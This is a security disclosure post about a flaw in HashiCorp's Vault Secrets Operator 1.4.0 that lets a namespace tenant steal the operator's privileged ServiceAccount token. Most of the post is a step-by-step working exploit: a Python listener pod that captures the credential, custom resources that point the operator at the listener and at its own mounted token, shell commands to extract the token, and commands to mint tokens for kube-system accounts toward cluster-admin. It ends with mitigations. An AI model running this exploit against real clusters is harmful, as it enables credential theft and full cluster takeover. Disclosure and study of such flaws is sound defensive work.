The Vault Secrets Operator sends its own secret with access to every Secret
New day, new way to make an operator send a user its own privileged ServiceAccount token. This time it’s HashiCorp’s Vault Secrets Operator. The stolen token reads and writes Secrets across every namespace in the cluster, and creates serviceaccounts/token anywhere - which is one hop from full cluster-admin.
On the operator
The Vault Secrets Operator lets pods consume Vault secrets natively from Kubernetes Secrets. You point it at a secret in Vault, it copies the value into a Kubernetes Secret in your namespace and keeps the two in sync.
The operator introduces several namespaced custom resources. VaultConnection specifies the Vault instance address, VaultAuth specifies how to log in there, and VaultStaticSecret is a request to copy a Vault secret into a Kubernetes Secret. A VaultStaticSecret points at a VaultAuth, which points at a VaultConnection.
Vulnerability
VaultConnection lets you specify any URL in VaultConnection.address, VaultAuth lets you specify any path in the operator’s pod file system for the auth secret with spec.appRole.secretIDPath. So let’s just authenticate against ourselves with the pod-mounted service account.
PoC
Cluster preparation (kind cluster, operator, tenant RBAC)
kind create cluster --image kindest/node:v1.31.6 --name vso-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig
helm repo add hashicorp https://helm.releases.hashicorp.com
helm repo update hashicorp
helm upgrade --install vault-secrets-operator hashicorp/vault-secrets-operator \
--version 1.4.0 \
--namespace vault-secrets-operator-system --create-namespace \
--wait --timeout 5m
# the tenant: a ServiceAccount with edit in its own namespace and create/get on the VSO CRs
kubectl create namespace tenant
kubectl -n tenant create serviceaccount tenant-admin
kubectl -n tenant create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant:tenant-admin
kubectl -n tenant create role tenant-vso \
--verb=create,get \
--resource=vaultconnections.secrets.hashicorp.com,vaultauths.secrets.hashicorp.com,vaultstaticsecrets.secrets.hashicorp.com
kubectl -n tenant create rolebinding tenant-vso --role=tenant-vso --serviceaccount=tenant:tenant-admin
# mint the tenant's token into a kubeconfig that carries only that identity
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant create token tenant-admin --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters: [{name: kind, cluster: {server: ${SERVER}, certificate-authority-data: ${CA}}}]
contexts: [{name: tenant, context: {cluster: kind, user: tenant, namespace: tenant}}]
current-context: tenant
users: [{name: tenant, user: {token: ${TOKEN}}}]
EOF1. Stand up the listener. The tenant runs a pod in their own namespace that captures the body of any HTTP request and answers in the shape the Vault Go client expects, so the login runs far enough to send the credential
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: listener
namespace: tenant
labels:
app: listener
spec:
containers:
- name: listener
image: python:3.12-slim
command: ["python3", "-u", "-c"]
args:
- |
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
def _h(self):
n = int(self.headers.get('Content-Length','0') or 0)
body = self.rfile.read(n) if n else b''
print("=== %s %s ===" % (self.command, self.path), flush=True)
print("BODY %s" % body.decode('utf-8','replace'), flush=True)
resp = b'{"auth":{"client_token":"hvs.poc","lease_duration":60,"renewable":false}}'
self.send_response(200)
self.send_header('Content-Type','application/json')
self.send_header('Content-Length', str(len(resp)))
self.end_headers()
self.wfile.write(resp)
do_GET = do_POST = do_PUT = do_DELETE = do_OPTIONS = do_HEAD = _h
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("0.0.0.0", 8200), H).serve_forever()
ports:
- containerPort: 8200
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant expose pod listener --port=8200 --target-port=8200
kubectl --kubeconfig=./kubeconfig-tenant -n tenant wait --for=condition=Ready pod/listener --timeout=120s2. Point the operator at the listener and at its own token
kubectl --kubeconfig=./kubeconfig-tenant create -f - <<'EOF'
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultConnection
metadata:
name: poc
namespace: tenant
spec:
address: http://listener.tenant.svc:8200
skipTLSVerify: true
---
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultAuth
metadata:
name: poc
namespace: tenant
spec:
vaultConnectionRef: poc
method: appRole
mount: poc
appRole:
roleId: poc
secretIDPath: /var/run/secrets/kubernetes.io/serviceaccount/token
---
apiVersion: secrets.hashicorp.com/v1beta1
kind: VaultStaticSecret
metadata:
name: poc
namespace: tenant
spec:
vaultAuthRef: poc
mount: secret
type: kv-v2
path: poc
refreshAfter: 10s
destination:
name: poc-dest
create: true
EOF3. Read the token out of the listener log
sleep 15
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant logs listener | grep -ao '"secret_id":"eyJ[^"]*"' | head -1 | sed 's/.*"secret_id":"//; s/"$//')
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters: [{name: kind, cluster: {server: ${SERVER}, certificate-authority-data: ${CA}}}]
contexts: [{name: stolen, context: {cluster: kind, user: stolen}}]
current-context: stolen
users: [{name: stolen, user: {token: ${STOLEN}}}]
EOF4. Use the stolen identity
kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# ServiceAccount system:serviceaccount:vault-secrets-operator-system:vault-secrets-operator-controller-manager
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system auth can-i get secret
# sure!
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system auth can-i get serviceaccounts
# of course!
kubectl --kubeconfig=./kubeconfig-stolen auth can-i create serviceaccounts/token
# absolutely!The operator’s ServiceAccount also has create on serviceaccounts/token, so it can mint a token for any ServiceAccount in the cluster without one:
STOLEN_SA_TOKEN=$(kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create token namespace-controller)Enumerate the serviceaccounts, pick those with the powers you want, create their token and read it. Cluster-admin obtained from this trivially.
Mitigation
Upgrade to Vault Secrets Operator 1.5.0 or later. HashiCorp fixed this by deleting spec.appRole.secretIDPath. Alternatively block this resource path with admission policy.
A properly configured network policy could also possibly mitigate this, by preventing the operator from reaching an attacker-controlled address.